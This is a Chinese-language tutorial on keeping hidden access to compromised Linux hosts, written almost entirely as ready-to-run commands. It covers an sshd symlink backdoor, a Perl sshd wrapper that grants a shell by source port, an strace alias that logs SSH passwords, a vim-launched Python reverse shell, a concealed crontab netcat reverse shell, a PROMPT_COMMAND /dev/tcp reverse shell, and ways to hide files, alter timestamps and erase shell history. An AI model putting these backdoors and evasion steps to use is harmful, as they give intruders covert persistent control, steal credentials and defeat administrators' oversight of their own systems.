ssh后门:
创建一个软链接:
ln -sf /usr/sbin/sshd /tmp/su
拓展:软链接相当于一个快捷键,硬链接相当于一个指针指向文件地址,也类似于复制
开启后门:
/tmp/su -oport=12345
开启后我们查看下
可以看到第一行中执行命令为/tmp/su,也是很难察觉的,这里我们可以将端口设置复杂点
密码随便输,可以输入"exit"
ssh [email protected] -p 12345
注意:可以将端口设置不这么明显
ssh server wrapper后门:
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart //老版命令
systemctl restart sshd //新版命令
客户端:
socat STDIO TCP4:target_ip:22,sourceport=13377
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
使用ssh免密登录
将公钥放到目标上,公钥相当于一个木马,谁用就控制谁
修改时间:
touch -r file1 file2 //file2时间改变与file1时间相同
ssh keylogger(键盘记录器)
使用alias创建一个别名,每当执行ssh的时候,就会执行下面的内容:
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
strace常用来跟踪进程执行时的系统调用和所接收的信号。-o输出到/tmp/.ssh.log中,输出内容为read,write,connect,执行完内容后在执行ssh,避免被管理员发现
不过这里有个很郁闷的事情,就是好像这个alias只能用于这一次,当我换个连接主机的时候这个alias就没有了
隐身登录
当我们正常登录的时候都是会有记录的,我们可以使用last、who、w等命令查看
ssh -T [email protected] /bin/bash -i
vim + python扩展后门
查看是否支持python扩展
vim
:version
创建一个python的连接脚本shell.py
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.222.128", 16666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/bash", "-i"]);
后台运行脚本:
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
nohup后台运行脚本命令,当关闭webshell的时候程序不会停止
还可以借助下面的文章进行程序隐藏以及应急响应中的排查
LINUX留后门--教程(八)—— vim+python文件后门 - 掘金
Alias后门
通过alias来指定执行执行命令的时候静默运行其他程序,从而达到启动后门,记录键值等作用
Crontab后门
知识点:
1、服务启动
systemctl start crond
2、编辑计划任务
crontab -e -u 用户名
3、删除计划任务
crontab -r -u 用户名
4、相关文件
/var/spool/cron/用户名 #用户定义的设置
/var/log/cron #cron服务的日志文件
/etc/crontab #cron服务配置文件
实操:
添加计划任务
(crontab -l;echo "命令;/bin/bash --noprofile -i;\rno crontab for 用户名 %100c\n")|crontab -
(crontab -l;echo "*/1 * * * * nc -e /bin/bash 192.168.222.132 12345;/bin/bash --noprofile -i;\rno crontab for root %100c\n")|crontab -
crontab -l :查看计划任务
echo : 写入进去
/bin/bash --noprofile -i;\rno crontab for 用户名 %100c\n" :用于隐藏用户,当我们使用crontab -l无法查看
crontab - :通过管道符将前面的内容输入到crontab中
我们可以通过下面的命令进行查看
cat -A /var/spool/cron/crontabs/root
我们在控制端进行监听
由于这是一个这个终端啥也没有很郁闷,我们使用python中的pty模块
python3 -c "import pty;pty.spawn('/bin/bash')"
然后可能出现下面的情况
我们添加环境变量就可以解决
这里的export是添加临时变量,不会对全局造成影响
参考文章:
Linux crontab 命令 | 菜鸟教程
linux-隐藏你的crontab后门-腾讯云开发者社区-腾讯云
简单的文件隐藏:
touch .hjw.py
隐藏权限:
chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来(管理员提示也会说权限不足)
chattr +i 1.txt
chattr -i 1.txt
隐藏历史记录:
:拿到shell以后,开启无痕模式,禁用历史记录功能
set +o history
恢复:
set -o history
删除历史命令:
删除100行以后的操作命令
sed -i '100,$d' .bash_history
PROMPT_COMMAND后门:
PROMPT_COMMAD是每执行完一个命令后就会执行,我们可以添加环境变量中这样就会每执行一条命令后都会去连接
export PROMPT_COMMAND="(0<&196;exec 196<>/dev/tcp/192.168.222.128/12345; sh <&196 >&196 2>&196 &) 2> /dev/null ;"
这里报错还不会出现在控制台上,也是比较不错的
/r后门:
我们通过cat查看不到里面的内容,通过vim才能看到